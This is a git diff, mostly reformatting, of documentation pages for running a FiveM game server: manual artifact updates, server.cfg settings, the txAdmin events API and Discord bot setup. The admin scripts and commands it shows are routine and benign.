## Manual Update Process - + ### Windows Update Procedure 1. **Download Latest Artifacts** + ``` Windows: https://runtime.fivem.net/artifacts/fivem/build_server_windows/master/ Linux: https://runtime.fivem.net/artifacts/fivem/build_proot_linux/master/ - + Select: Latest recommended build (look for green "Recommended" badge) Download: server.zip or server.7z ``` 2. **Prepare for Update** + ```batch # Stop the server gracefully # In txAdmin: Server → Stop # Or press Ctrl+C in console - + # Backup current artifacts mkdir backup\%date:~-4,4%%date:~-10,2%%date:~-7,2% xcopy /E /I server-files backup\%date:~-4,4%%date:~-10,2%%date:~-7,2% ``` 3. **Extract New Artifacts** + ```batch # Extract to temporary folder first # Compare with existing files @@ -130,6 +163,7 @@ print('Build number:', buildNumber) ``` 4. **Update Configuration** + ```batch # Check for new convars or changes # Update server.cfg if needed @@ -191,8 +225,8 @@ $ProcessName = "FXServer" try { # Get latest build number $WebResponse = Invoke-WebRequest -Uri $ArtifactURL - $LatestBuild = $WebResponse.Content | Select-String -Pattern 'href="(\d+-[a-f0-9]+)/"' | - ForEach-Object { $_.Matches } | ForEach-Object { $_.Groups[1].Value } | + $LatestBuild = $WebResponse.Content | Select-String -Pattern 'href="(\d+-[a-f0-9]+)/"' | + ForEach-Object { $_.Matches } | ForEach-Object { $_.Groups[1].Value } | Sort-Object | Select-Object -Last 1 if (-not $LatestBuild) { @@ -406,7 +440,7 @@ CMD ["./FXServer", "+exec", "server.cfg"] ```yaml # docker-compose.yml with auto-update -version: '3.8' +version: "3.8" services: fivem-server: @@ -536,27 +570,27 @@ def send_update_notification(old_version, new_version): sender_email = "your-email@gmail.com" sender_password = "your-app-password" recipient_email = "admin@yourserver.com" - + # Create message msg = MIMEMultipart() msg['From'] = sender_email msg['To'] = recipient_email msg['Subject'] = f"FiveM Server Update - {datetime.now().strftime('%Y-%m-%d %H:%M')}" - + body = f""" FiveM Server Update Completed - + Server: My FiveM Server Previous Version: {old_version} New Version: {new_version} Update Time: {datetime.now().strftime('%Y-%m-%d %H:%M:%S')} Status: Server is online and running - + This is an automated notification. """ - + msg.attach(MIMEText(body, 'plain')) - + # Send email try: server = smtplib.SMTP(smtp_server, smtp_port) @@ -661,7 +695,7 @@ echo "Server testing completed" local function checkResourceCompatibility() local issues = {} local resources = {} - + -- Get all started resources for i = 0, GetNumResources() - 1 do local resourceName = GetResourceByFindIndex(i) @@ -669,9 +703,9 @@ local function checkResourceCompatibility() table.insert(resources, resourceName) end end - + print(string.format('Checking %d resources for compatibility...', #resources)) - + for _, resource in ipairs(resources) do local manifest = LoadResourceFile(resource, 'fxmanifest.lua') if manifest then @@ -679,7 +713,7 @@ local function checkResourceCompatibility() if manifest:find('Citizen%.CreateThread') and not manifest:find('CreateThread') then table.insert(issues, string.format('%s: Using deprecated Citizen.CreateThread', resource)) end - + -- Check fx_version local fxVersion = manifest:match('fx_version%s+[\'"]([^\'"]+)[\'"]') if fxVersion and fxVersion ~= 'cerulean' and fxVersion ~= 'bodacious' then @@ -687,7 +721,7 @@ local function checkResourceCompatibility() end end end - + if #issues > 0 then print('Compatibility issues found:') for _, issue in ipairs(issues) do @@ -710,6 +744,7 @@ end) ### Common Update Issues **Download Failures** + ```bash # Check connectivity curl -I https://runtime.fivem.net/ @@ -722,6 +757,7 @@ dig @8.8.8.8 runtime.fivem.net ``` **Permission Issues** + ```bash # Fix file permissions sudo chown -R fivem:fivem /opt/fivem/server @@ -733,6 +769,7 @@ sudo restorecon -Rv /opt/fivem/server ``` **Service Start Failures** + ```bash # Check service status sudo systemctl status fivem @@ -758,12 +795,12 @@ if pgrep -f "FXServer" > /dev/null; then echo "✅ Server is running" else echo "❌ Server is not running" - + # Try to start server echo "Attempting to start server..." sudo systemctl start fivem sleep 10 - + if pgrep -f "FXServer" > /dev/null; then echo "✅ Server started successfully" else diff --git a/content/docs/guides/server-configuration.mdx b/content/docs/guides/server-configuration.mdx index 0e9a279..501ee82 100644 --- a/content/docs/guides/server-configuration.mdx +++ b/content/docs/guides/server-configuration.mdx @@ -4,7 +4,23 @@ description: Complete guide to configuring and optimizing your FiveM server. icon: "Settings" --- -import { FeatureList, CheckList, QuickLinks, DefinitionList, CommandCard, CommandTable, PropertyCard, IconGrid, Shortcut, StatusBadge, TroubleshootingCard, PermissionTable, ConfigBlock, StepList, ComparisonTable } from '@ui/components/mdx-components' +import { + FeatureList, + CheckList, + QuickLinks, + DefinitionList, + CommandCard, + CommandTable, + PropertyCard, + IconGrid, + Shortcut, + StatusBadge, + TroubleshootingCard, + PermissionTable, + ConfigBlock, + StepList, + ComparisonTable, +} from "@ui/components/mdx-components"; Proper server configuration is essential for optimal performance, security, and player experience. This comprehensive guide covers all aspects of FiveM server configuration. @@ -57,17 +73,20 @@ set sv_debugqueue true ### Essential Configuration Sections - + #### Server Identity + ```bash # Server display information sv_hostname "^2My Server ^7| ^3Custom RP ^7| ^1discord.gg/myserver" @@ -81,6 +100,7 @@ sets banner_connecting "https://myserver.com/connecting.png" ``` #### Network Configuration + ```bash # Primary endpoints endpoint_add_tcp "0.0.0.0:30120" @@ -96,6 +116,7 @@ endpoint_add_udp "[::]:30120" ``` #### Player Limits + ```bash # Maximum players sv_maxclients 64 @@ -144,7 +165,10 @@ set sv_pureLevel 1 # Resource integrity checking ``` - Many server convars change between FiveM versions. Always check the [official FiveM documentation](https://docs.fivem.net/docs/server-manual/server-commands/) for the most current options. + Many server convars change between FiveM versions. Always check the [official + FiveM + documentation](https://docs.fivem.net/docs/server-manual/server-commands/) for + the most current options. ### Database Configuration @@ -327,7 +351,8 @@ set onesync on ``` - OneSync configuration options may change. Always refer to the official FiveM documentation for current settings. + OneSync configuration options may change. Always refer to the official FiveM + documentation for current settings. ### Voice Chat Configuration @@ -518,7 +543,7 @@ echo "Validating FiveM server configuration..." check_setting() { local setting="$1" local description="$2" - + if grep -q "^$setting" "$CONFIG_FILE"; then echo "✅ $description" else diff --git a/content/docs/meta.json b/content/docs/meta.json index 41650d9..c395c25 100644 --- a/content/docs/meta.json +++ b/content/docs/meta.json @@ -1,10 +1,3 @@ { - "pages": [ - "core", - "cfx", - "txadmin", - "vmenu", - "frameworks", - "guides" - ] -} \ No newline at end of file + "pages": ["core", "cfx", "txadmin", "vmenu", "frameworks", "guides"] +} diff --git a/content/docs/txadmin/advanced.mdx b/content/docs/txadmin/advanced.mdx index 11ef6c4..d12b353 100644 --- a/content/docs/txadmin/advanced.mdx +++ b/content/docs/txadmin/advanced.mdx @@ -3,8 +3,9 @@ title: Advanced Features description: Explore advanced txAdmin features including custom recipes, automation, monitoring, and enterprise-grade server management. --- -import { InfoBanner } from '@ui/components/mdx-components'; +import { InfoBanner } from "@ui/components/mdx-components"; -We are working hard to get the full txAdmin documentation done as soon as possible! - \ No newline at end of file + We are working hard to get the full txAdmin documentation done as soon as + possible! + diff --git a/content/docs/txadmin/api-events.mdx b/content/docs/txadmin/api-events.mdx index 8b1ca29..1585d4c 100644 --- a/content/docs/txadmin/api-events.mdx +++ b/content/docs/txadmin/api-events.mdx @@ -3,7 +3,13 @@ title: "API Events" description: "Learn about txAdmin Events and how to integrate them with your resources." --- -import { FeatureList, DefinitionList, StepList, PropertyCard, CommandCard } from "@ui/components"; +import { + FeatureList, + DefinitionList, + StepList, + PropertyCard, + CommandCard, +} from "@ui/components"; import { AlertTriangle, CheckCircle2, Info } from "lucide-react"; # txAdmin Events API @@ -16,24 +22,28 @@ txAdmin broadcasts **server events** that allow you to integrate functionalities features={[ { name: "Server Events", - description: "Real-time notifications for server state changes like shutdowns, restarts, and announcements", - icon: "server" + description: + "Real-time notifications for server state changes like shutdowns, restarts, and announcements", + icon: "server", }, { name: "Player Events", - description: "Events triggered by player actions including bans, warns, kicks, and direct messages", - icon: "users" + description: + "Events triggered by player actions including bans, warns, kicks, and direct messages", + icon: "users", }, { name: "Whitelist Management", - description: "Track whitelist changes, requests, and pre-approvals as they happen", - icon: "shield" + description: + "Track whitelist changes, requests, and pre-approvals as they happen", + icon: "shield", }, { name: "Admin Events", - description: "Monitor admin authentication, permission changes, and console commands", - icon: "userCog" - } + description: + "Monitor admin authentication, permission changes, and console commands", + icon: "userCog", + }, ]} columns={2} /> @@ -41,8 +51,16 @@ txAdmin broadcasts **server events** that allow you to integrate functionalities
-

CFX Events, Not txAdmin API

-

These events are part of the CFX event system and are broadcast by txAdmin into the server's game environment. txAdmin does not currently expose a separate HTTP/REST API. To integrate with these events, you must listen for them using game event handlers in your server-side resources.

+

+ CFX Events, Not txAdmin API +

+

+ These events are part of the CFX event system and are + broadcast by txAdmin into the server's game environment. txAdmin does not + currently expose a separate HTTP/REST API. To integrate with these events, + you must listen for them using game event handlers in your server-side + resources. +

@@ -50,7 +68,12 @@ txAdmin broadcasts **server events** that allow you to integrate functionalities

Important Notice

-

Do not fully rely on events where consistency is key since they may be executed while the server is not online. For example, while the server is stopped, one could whitelist or ban player identifiers without triggering events.

+

+ Do not fully rely on events where consistency is key since they may be + executed while the server is not online. For example, while the server is + stopped, one could whitelist or ban player identifiers without triggering + events. +

@@ -70,12 +93,14 @@ Broadcasted when an announcement is made using txAdmin. /> **Event Data:** -- `author` *(string)* - The name of the admin or `txAdmin` -- `message` *(string)* - The message content of the announcement + +- `author` _(string)_ - The name of the admin or `txAdmin` +- `message` _(string)_ - The message content of the announcement **Customization:** You can hide the default notification in `txAdmin → Settings → Game → Notifications`. **Example:** + ```lua AddEventHandler('txAdmin:events:announcement', function(eventData) print("Announcement from " .. eventData.author .. ": " .. eventData.message) @@ -97,11 +122,13 @@ Broadcasted when the server is about to shut down. This can be triggered by sche /> **Event Data:** -- `delay` *(number)* - Milliseconds txAdmin will wait before killing the server process -- `author` *(string)* - The name of the admin or `txAdmin` -- `message` *(string)* - The shutdown message + +- `delay` _(number)_ - Milliseconds txAdmin will wait before killing the server process +- `author` _(string)_ - The name of the admin or `txAdmin` +- `message` _(string)_ - The shutdown message **Example:** + ```lua AddEventHandler('txAdmin:events:serverShuttingDown', function(eventData) print("Server shutting down in " .. (eventData.delay / 1000) .. " seconds") @@ -123,12 +150,14 @@ Broadcasted automatically `[30, 15, 10, 5, 4, 3, 2, 1]` minutes before a schedul /> **Event Data:** -- `secondsRemaining` *(number)* - Seconds before the scheduled restart -- `translatedMessage` *(string)* - Translated message to show on the announcement + +- `secondsRemaining` _(number)_ - Seconds before the scheduled restart +- `translatedMessage` _(string)_ - Translated message to show on the announcement **Customization:** Hide the default notification in `txAdmin → Settings → Game → Notifications`. **Example (ESX v1.2):** + ```lua ESX = nil TriggerEvent('esx:getSharedObject', function(obj) ESX = obj end) @@ -160,9 +189,10 @@ Broadcasted when an admin skips the next scheduled restart. /> **Event Data:** -- `secondsRemaining` *(number)* - Seconds before the previously scheduled restart -- `temporary` *(boolean)* - Whether it was a temporary or configured restart -- `author` *(string)* - Name of the admin that skipped the restart + +- `secondsRemaining` _(number)_ - Seconds before the previously scheduled restart +- `temporary` _(boolean)_ - Whether it was a temporary or configured restart +- `author` _(string)_ - Name of the admin that skipped the restart --- @@ -180,17 +210,18 @@ Broadcasted when a player is banned using txAdmin. /> **Event Data:** -- `author` *(string)* - The name of the admin -- `reason` *(string)* - The reason for the ban -- `actionId` *(string)* - The ID of this action -- `expiration` *(number|boolean)* - Unix timestamp for ban expiration, or `false` if permanent (added in v4.9) -- `durationInput` *(string)* - Duration input (added in v5.0) -- `durationTranslated` *(string|null)* - Translated duration or `null` (added in v5.0) -- `targetNetId` *(number|null)* - Network ID of banned player, or `null` if identifiers-only ban (added in v5.0) -- `targetIds` *(table)* - Identifiers that were banned (added in v5.0) -- `targetHwids` *(table)* - Hardware identifiers that were banned (added in v6.0) -- `targetName` *(string)* - Clean name of banned player or `identifiers` for legacy bans (added in v5.0) -- `kickMessage` *(string)* - Message shown to player as kick reason (added in v5.0) + +- `author` _(string)_ - The name of the admin +- `reason` _(string)_ - The reason for the ban +- `actionId` _(string)_ - The ID of this action +- `expiration` _(number|boolean)_ - Unix timestamp for ban expiration, or `false` if permanent (added in v4.9) +- `durationInput` _(string)_ - Duration input (added in v5.0) +- `durationTranslated` _(string|null)_ - Translated duration or `null` (added in v5.0) +- `targetNetId` _(number|null)_ - Network ID of banned player, or `null` if identifiers-only ban (added in v5.0) +- `targetIds` _(table)_ - Identifiers that were banned (added in v5.0) +- `targetHwids` _(table)_ - Hardware identifiers that were banned (added in v6.0) +- `targetName` _(string)_ - Clean name of banned player or `identifiers` for legacy bans (added in v5.0) +- `kickMessage` _(string)_ - Message shown to player as kick reason (added in v5.0) --- @@ -206,12 +237,13 @@ Broadcasted when a player is warned using txAdmin. /> **Event Data:** -- `author` *(string)* - The name of the admin -- `reason` *(string)* - The reason for the warning -- `actionId` *(string)* - The ID of this action -- `targetNetId` *(number|null)* - Network ID of warned player, or `null` if offline (added in v7.3) -- `targetIds` *(table)* - Identifiers that were warned (added in v7.3) -- `targetName` *(string)* - Clean name of warned player (added in v7.3) + +- `author` _(string)_ - The name of the admin +- `reason` _(string)_ - The reason for the warning +- `actionId` _(string)_ - The ID of this action +- `targetNetId` _(number|null)_ - Network ID of warned player, or `null` if offline (added in v7.3) +- `targetIds` _(table)_ - Identifiers that were warned (added in v7.3) +- `targetName` _(string)_ - Clean name of warned player (added in v7.3) **Customization:** Hide the default notification in `txAdmin → Settings → Game → Notifications`. @@ -229,10 +261,11 @@ Broadcasted when a player is kicked using txAdmin. Note: Starting on v8.0, the ` /> **Event Data:** -- `target` *(number)* - Player ID that was kicked, or `-1` if kicking everyone -- `author` *(string)* - The name of the admin -- `reason` *(string)* - The reason for the kick -- `dropMessage` *(string)* - Translated message players will see when kicked (added in v8.0) + +- `target` _(number)_ - Player ID that was kicked, or `-1` if kicking everyone +- `author` _(string)_ - The name of the admin +- `reason` _(string)_ - The reason for the kick +- `dropMessage` _(string)_ - Translated message players will see when kicked (added in v8.0) --- @@ -248,8 +281,9 @@ Broadcasted when a heal event is triggered for a player or the whole server. Thi /> **Event Data:** -- `target` *(number)* - Player ID that was healed, or `-1` if the entire server was healed -- `author` *(string)* - Name of the admin that triggered the heal + +- `target` _(number)_ - Player ID that was healed, or `-1` if the entire server was healed +- `author` _(string)_ - Name of the admin that triggered the heal --- @@ -265,9 +299,10 @@ Broadcasted when an admin DMs a player. /> **Event Data:** -- `target` *(number)* - ID of the player to receive the DM -- `author` *(string)* - The name of the admin -- `message` *(string)* - The message content + +- `target` _(number)_ - ID of the player to receive the DM +- `author` _(string)_ - The name of the admin +- `message` _(string)_ - The message content **Customization:** Hide the default notification in `txAdmin → Settings → Game → Notifications`. @@ -287,10 +322,11 @@ Broadcasted when a player is whitelisted or has their whitelisted status revoked /> **Event Data:** -- `action` *(string)* - `added` or `removed` -- `license` *(string)* - The license of the player -- `playerName` *(string)* - The player display name -- `adminName` *(string)* - Name of the admin that performed the action + +- `action` _(string)_ - `added` or `removed` +- `license` _(string)_ - The license of the player +- `playerName` _(string)_ - The player display name +- `adminName` _(string)_ - Name of the admin that performed the action --- @@ -306,10 +342,11 @@ Broadcasted when manually adding identifiers to whitelist pre-approvals. Players /> **Event Data:** -- `action` *(string)* - `added` or `removed` -- `identifier` *(string)* - The identifier that was pre-approved (e.g., `discord:xxxxxx`) -- `playerName?` *(string)* - The player display name (except when action is `removed`) -- `adminName` *(string)* - Name of the admin that performed the action + +- `action` _(string)_ - `added` or `removed` +- `identifier` _(string)_ - The identifier that was pre-approved (e.g., `discord:xxxxxx`) +- `playerName?` _(string)_ - The player display name (except when action is `removed`) +- `adminName` _(string)_ - Name of the admin that performed the action **Note:** This event is NOT triggered when a whitelist request is approved. Use `txAdmin:events:whitelistRequest` for that. @@ -327,11 +364,12 @@ Broadcasted whenever an event related to whitelist requests occurs. /> **Event Data:** -- `action` *(string)* - `requested`, `approved`, `denied`, or `deniedAll` -- `playerName?` *(string)* - The player display name (except when action is `deniedAll`) -- `requestId?` *(string)* - The request ID (e.g., `Rxxxx`), except when action is `deniedAll` -- `license?` *(string)* - The license of the player/requester (except when action is `deniedAll`) -- `adminName?` *(string)* - Name of the admin that performed the action (except when action is `requested`) + +- `action` _(string)_ - `requested`, `approved`, `denied`, or `deniedAll` +- `playerName?` _(string)_ - The player display name (except when action is `deniedAll`) +- `requestId?` _(string)_ - The request ID (e.g., `Rxxxx`), except when action is `deniedAll` +- `license?` _(string)_ - The license of the player/requester (except when action is `deniedAll`) +- `adminName?` _(string)_ - Name of the admin that performed the action (except when action is `requested`) --- @@ -349,9 +387,10 @@ Broadcasted whenever an admin is authenticated in-game or loses admin permission /> **Event Data:** -- `netid` *(number)* - Player ID or `-1` when revoking all admin permissions (forced reauth) -- `isAdmin` *(boolean)* - Whether the player is an admin -- `username?` *(string)* - The txAdmin username of the authenticated admin + +- `netid` _(number)_ - Player ID or `-1` when revoking all admin permissions (forced reauth) +- `isAdmin` _(boolean)_ - Whether the player is an admin +- `username?` _(string)_ - The txAdmin username of the authenticated admin --- @@ -367,6 +406,7 @@ Broadcasted whenever the admin list changes, including permission or identifier /> **Event Data:** + - Array of Network IDs of admins currently online --- @@ -383,14 +423,15 @@ Broadcasted when an admin revokes a database action (ban, warn, etc.). /> **Event Data:** -- `actionId` *(string)* - The ID of the revoked action -- `actionType` *(string)* - The type of action that was revoked (ban, warn, etc.) -- `actionReason` *(string)* - The action reason -- `actionAuthor` *(string)* - Name of the admin that issued the action -- `playerName` *(string|boolean)* - Name of the player that received the action, or `false` if not applicable -- `playerIds` *(table)* - Array of identifiers the action applied to (license, discord, etc.) -- `playerHwids` *(table)* - Array of hardware ID tokens the action applied to (added in v6.0) -- `revokedBy` *(string)* - Name of the admin that revoked the action + +- `actionId` _(string)_ - The ID of the revoked action +- `actionType` _(string)_ - The type of action that was revoked (ban, warn, etc.) +- `actionReason` _(string)_ - The action reason +- `actionAuthor` _(string)_ - Name of the admin that issued the action +- `playerName` _(string|boolean)_ - Name of the player that received the action, or `false` if not applicable +- `playerIds` _(table)_ - Array of identifiers the action applied to (license, discord, etc.) +- `playerHwids` _(table)_ - Array of hardware ID tokens the action applied to (added in v6.0) +- `revokedBy` _(string)_ - Name of the admin that revoked the action --- @@ -423,9 +464,10 @@ Broadcasted whenever an admin sends a command through the Live Console. /> **Event Data:** -- `author` *(string)* - The txAdmin username of the admin who sent the command -- `channel` *(string)* - Currently always `txAdmin`, but may be `rcon` or `game` in the future -- `command` *(string)* - The command that was executed + +- `author` _(string)_ - The txAdmin username of the admin who sent the command +- `channel` _(string)_ - Currently always `txAdmin`, but may be `rcon` or `game` in the future +- `command` _(string)_ - The command that was executed --- @@ -437,16 +479,18 @@ The following events have been deprecated and should not be used in new resource items={[ { term: "txAdmin:events:playerWhitelisted", - definition: "Deprecated in v5.0.0. Use whitelist-related events instead." + definition: "Deprecated in v5.0.0. Use whitelist-related events instead.", }, { term: "txAdmin:events:healedPlayer", - definition: "Deprecated in v8.0. Use `txAdmin:events:playerHealed` instead." + definition: + "Deprecated in v8.0. Use `txAdmin:events:playerHealed` instead.", }, { term: "txAdmin:events:skippedNextScheduledRestart", - definition: "Deprecated in v8.0. Use `txAdmin:events:scheduledRestartSkipped` instead." - } + definition: + "Deprecated in v8.0. Use `txAdmin:events:scheduledRestartSkipped` instead.", + }, ]} /> @@ -519,24 +563,28 @@ end) features={[ { name: "Handle Offline Actions", - description: "Some events (like bans and warns) can occur while the server is offline. Don't assume players are always online.", - icon: "warning" + description: + "Some events (like bans and warns) can occur while the server is offline. Don't assume players are always online.", + icon: "warning", }, { name: "Use Identifiers", - description: "When dealing with bans and warns, use the identifier arrays instead of just network IDs for persistence across restarts.", - icon: "shield" + description: + "When dealing with bans and warns, use the identifier arrays instead of just network IDs for persistence across restarts.", + icon: "shield", }, { name: "Log Everything", - description: "Consider logging significant events to a database for audit trails and compliance.", - icon: "database" + description: + "Consider logging significant events to a database for audit trails and compliance.", + icon: "database", }, { name: "Handle Failures Gracefully", - description: "Don't block event handlers on heavy operations; use threads for async work.", - icon: "check" - } + description: + "Don't block event handlers on heavy operations; use threads for async work.", + icon: "check", + }, ]} columns={2} /> diff --git a/content/docs/txadmin/backup-system.mdx b/content/docs/txadmin/backup-system.mdx index 24740f4..5632ed0 100644 --- a/content/docs/txadmin/backup-system.mdx +++ b/content/docs/txadmin/backup-system.mdx @@ -3,8 +3,9 @@ title: Backup System description: Configure automated backups, manage backup storage, and implement disaster recovery for your FiveM/RedM server. --- -import { InfoBanner } from '@ui/components/mdx-components'; +import { InfoBanner } from "@ui/components/mdx-components"; -We are working hard to get the full txAdmin documentation done as soon as possible! - \ No newline at end of file + We are working hard to get the full txAdmin documentation done as soon as + possible! + diff --git a/content/docs/txadmin/configuration.mdx b/content/docs/txadmin/configuration.mdx index 4807f6b..ca34be4 100644 --- a/content/docs/txadmin/configuration.mdx +++ b/content/docs/txadmin/configuration.mdx @@ -3,8 +3,9 @@ title: Config Editor description: Learn about the txAdmin Config Editor and server configuration. --- -import { InfoBanner } from '@ui/components/mdx-components'; +import { InfoBanner } from "@ui/components/mdx-components"; -We are working hard to get the full txAdmin documentation done as soon as possible! - \ No newline at end of file + We are working hard to get the full txAdmin documentation done as soon as + possible! + diff --git a/content/docs/txadmin/custom-server-log.mdx b/content/docs/txadmin/custom-server-log.mdx index c68ab78..ce15c32 100644 --- a/content/docs/txadmin/custom-server-log.mdx +++ b/content/docs/txadmin/custom-server-log.mdx @@ -16,7 +16,12 @@ This feature allows you to add logging for custom commands like `/car` and `/tp`

Event Trigger

-

Add the following event call inside your command function: `TriggerServerEvent('txaLogger:CommandExecuted', rawCommand)` where `rawCommand` is the full command with parameters. You don't NEED to pass `rawCommand`, you can edit this string or pass anything you want.

+

+ Add the following event call inside your command function: + `TriggerServerEvent('txaLogger:CommandExecuted', rawCommand)` where + `rawCommand` is the full command with parameters. You don't NEED to pass + `rawCommand`, you can edit this string or pass anything you want. +

diff --git a/content/docs/txadmin/development.mdx b/content/docs/txadmin/development.mdx index 8218917..f7e44cd 100644 --- a/content/docs/txadmin/development.mdx +++ b/content/docs/txadmin/development.mdx @@ -46,19 +46,22 @@ If you are interested in development of txAdmin, this guide will help set up you steps={[ { title: "Clone txAdmin Repository", - description: "Clone the txAdmin repository into a folder outside the fxserver directory.", - code: "git clone https://github.com/citizenfx/txAdmin" + description: + "Clone the txAdmin repository into a folder outside the fxserver directory.", + code: "git clone https://github.com/citizenfx/txAdmin", }, { title: "Install Dependencies", - description: "In your root folder, install dependencies and prepare commit hook.", - code: "npm install\nnpm run prepare" + description: + "In your root folder, install dependencies and prepare commit hook.", + code: "npm install\nnpm run prepare", }, { title: "Create .env File", - description: "At the root of the project, create a `.env` file with TXDEV_FXSERVER_PATH.", - code: 'TXDEV_FXSERVER_PATH=\'E:/FiveM/10309/\'' - } + description: + "At the root of the project, create a `.env` file with TXDEV_FXSERVER_PATH.", + code: "TXDEV_FXSERVER_PATH='E:/FiveM/10309/'", + }, ]} /> @@ -67,6 +70,7 @@ If you are interested in development of txAdmin, this guide will help set up you ### Core/Panel/Resource This workflow is controlled by `scripts/build/*`, which is responsible for: + - Watching and copying static files (resource, docs, license, entry file, etc) to the deploy path - Watching and re-transpiling the core files, bundling and deploying it - Running FXServer in the same terminal, restarting when core is modified (like `nodemon`, but enhanced) @@ -137,7 +141,11 @@ The output will be in the `dist/` folder.

Legacy Warning

-

The `/web/` UI is considered legacy and will be migrated to `/panel/`. **DO NOT** modify `css/coreui.css`. Either do a patch in `custom.css` or modify the SCSS variables.

+

+ The `/web/` UI is considered legacy and will be migrated to `/panel/`. + **DO NOT** modify `css/coreui.css`. Either do a patch in `custom.css` or + modify the SCSS variables. +

diff --git a/content/docs/txadmin/discord-bot.mdx b/content/docs/txadmin/discord-bot.mdx index 8244dd5..f0c6362 100644 --- a/content/docs/txadmin/discord-bot.mdx +++ b/content/docs/txadmin/discord-bot.mdx @@ -3,26 +3,55 @@ title: Discord Bot description: Set up and configure the txAdmin Discord Bot integration for server status and announcements. --- -import { Step, Steps } from 'fumadocs-ui/components/steps'; -import { Tab, Tabs } from 'fumadocs-ui/components/tabs'; -import { Accordion, Accordions } from 'fumadocs-ui/components/accordion'; -import { Callout } from 'fumadocs-ui/components/callout'; -import { FeatureList, CheckList, QuickLinks, DefinitionList, PropertyCard, InfoBanner, CategoryGrid, ConfigBlock, TroubleshootingCard, StepList, CommandCard } from '@ui/components/mdx-components'; +import { Step, Steps } from "fumadocs-ui/components/steps"; +import { Tab, Tabs } from "fumadocs-ui/components/tabs"; +import { Accordion, Accordions } from "fumadocs-ui/components/accordion"; +import { Callout } from "fumadocs-ui/components/callout"; +import { + FeatureList, + CheckList, + QuickLinks, + DefinitionList, + PropertyCard, + InfoBanner, + CategoryGrid, + ConfigBlock, + TroubleshootingCard, + StepList, + CommandCard, +} from "@ui/components/mdx-components"; The txAdmin Discord Bot integration allows you to connect your server to Discord for status updates, announcements, and player notifications. This guide walks you through the complete setup process. -By the end of this guide, your Discord server will display real-time server status, restart announcements, and customizable embed messages. + By the end of this guide, your Discord server will display real-time server + status, restart announcements, and customizable embed messages. @@ -35,7 +64,7 @@ Before setting up the Discord bot, you'll need: items={[ "A Discord account with permission to add bots to your server", "Administrator or 'Manage Server' permissions in your Discord server", - "Your txAdmin panel accessible and running" + "Your txAdmin panel accessible and running", ]} /> @@ -46,33 +75,39 @@ Before setting up the Discord bot, you'll need: steps={[ { title: "Open Discord Developer Portal", - description: "Visit [discord.com/developers/applications](https://discord.com/developers/applications) and log in with your Discord account" + description: + "Visit [discord.com/developers/applications](https://discord.com/developers/applications) and log in with your Discord account", }, { title: "Create New Application", - description: "Click 'New Application' in the top right, give it a name (e.g., your server name), and click Create" + description: + "Click 'New Application' in the top right, give it a name (e.g., your server name), and click Create", }, { title: "Navigate to Bot Section", - description: "In the left sidebar, click 'Bot' to access bot settings" + description: "In the left sidebar, click 'Bot' to access bot settings", }, { title: "Enable Server Members Intent", - description: "Scroll down to 'Privileged Gateway Intents' and enable **Server Members Intent** - this is required for the bot to function", + description: + "Scroll down to 'Privileged Gateway Intents' and enable **Server Members Intent** - this is required for the bot to function", alert: { type: "warning", - message: "The bot requires the Server Members intent to work properly. Make sure this is enabled!" - } + message: + "The bot requires the Server Members intent to work properly. Make sure this is enabled!", + }, }, { title: "Copy Bot Token", - description: "Click 'Reset Token' (or 'View Token' if available), then copy the token. Keep this secret!" - } + description: + "Click 'Reset Token' (or 'View Token' if available), then copy the token. Keep this secret!", + }, ]} /> -Never share your bot token publicly. If compromised, immediately reset it in the Discord Developer Portal. Treat it like a password. + Never share your bot token publicly. If compromised, immediately reset it in + the Discord Developer Portal. Treat it like a password. ## Step 2: Add Bot to Your Discord Server @@ -82,24 +117,28 @@ Never share your bot token publicly. If compromised, immediately reset it in the steps={[ { title: "Go to OAuth2 Section", - description: "In the Developer Portal, navigate to 'OAuth2' → 'URL Generator' in the left sidebar" + description: + "In the Developer Portal, navigate to 'OAuth2' → 'URL Generator' in the left sidebar", }, { title: "Select Scopes", - description: "Check the 'bot' scope under SCOPES" + description: "Check the 'bot' scope under SCOPES", }, { title: "Select Permissions", - description: "Under BOT PERMISSIONS, select: Send Messages, Embed Links, and any other permissions you need" + description: + "Under BOT PERMISSIONS, select: Send Messages, Embed Links, and any other permissions you need", }, { title: "Copy and Visit URL", - description: "Copy the generated URL at the bottom and paste it in your browser" + description: + "Copy the generated URL at the bottom and paste it in your browser", }, { title: "Authorize the Bot", - description: "Select your Discord server from the dropdown and click 'Authorize'" - } + description: + "Select your Discord server from the dropdown and click 'Authorize'", + }, ]} /> @@ -111,25 +150,25 @@ Navigate to **Settings** → **Discord Bot** in your txAdmin panel. ### Required Settings - - - ### Getting Your Server ID @@ -138,30 +177,33 @@ Navigate to **Settings** → **Discord Bot** in your txAdmin panel. steps={[ { title: "Enable Developer Mode", - description: "In Discord, go to User Settings → App Settings → Advanced → Enable 'Developer Mode'" + description: + "In Discord, go to User Settings → App Settings → Advanced → Enable 'Developer Mode'", }, { title: "Copy Server ID", - description: "Right-click on your server icon in the server list and select 'Copy Server ID'" + description: + "Right-click on your server icon in the server list and select 'Copy Server ID'", }, { title: "Paste in txAdmin", - description: "Paste the ID into the Guild/Server ID field in txAdmin" - } + description: "Paste the ID into the Guild/Server ID field in txAdmin", + }, ]} /> ### Optional Settings - -With Developer Mode enabled, right-click any channel and select "Copy Channel ID" to get its ID. + With Developer Mode enabled, right-click any channel and select "Copy Channel + ID" to get its ID. ## Step 4: Customize Status Embed @@ -224,12 +266,24 @@ The Status Embed JSON controls what information is displayed in your server stat variant="bordered" items={[ { term: "{{serverName}}", description: "Your server's hostname" }, - { term: "{{serverBrowserUrl}}", description: "Direct connect URL for your server" }, - { term: "{{statusString}}", description: "Current status text (Online/Partial/Offline)" }, - { term: "{{playerCount}}", description: "Current number of players online" }, + { + term: "{{serverBrowserUrl}}", + description: "Direct connect URL for your server", + }, + { + term: "{{statusString}}", + description: "Current status text (Online/Partial/Offline)", + }, + { + term: "{{playerCount}}", + description: "Current number of players online", + }, { term: "{{maxClients}}", description: "Maximum player slots" }, - { term: "{{nextScheduledRestart}}", description: "Time until next scheduled restart" }, - { term: "{{serverJoinUrl}}", description: "FiveM/RedM direct connect URL" } + { + term: "{{nextScheduledRestart}}", + description: "Time until next scheduled restart", + }, + { term: "{{serverJoinUrl}}", description: "FiveM/RedM direct connect URL" }, ]} /> @@ -268,18 +322,18 @@ The Status Config JSON controls the appearance for each server state. { name: "Online", description: "Server is running and accepting players", - icon: "check" + icon: "check", }, { name: "Partial", description: "Server is starting up or has warnings", - icon: "warning" + icon: "warning", }, { name: "Offline", description: "Server is not running or unreachable", - icon: "error" - } + icon: "error", + }, ]} columns={3} /> @@ -290,14 +344,21 @@ You can add up to 5 buttons to your status 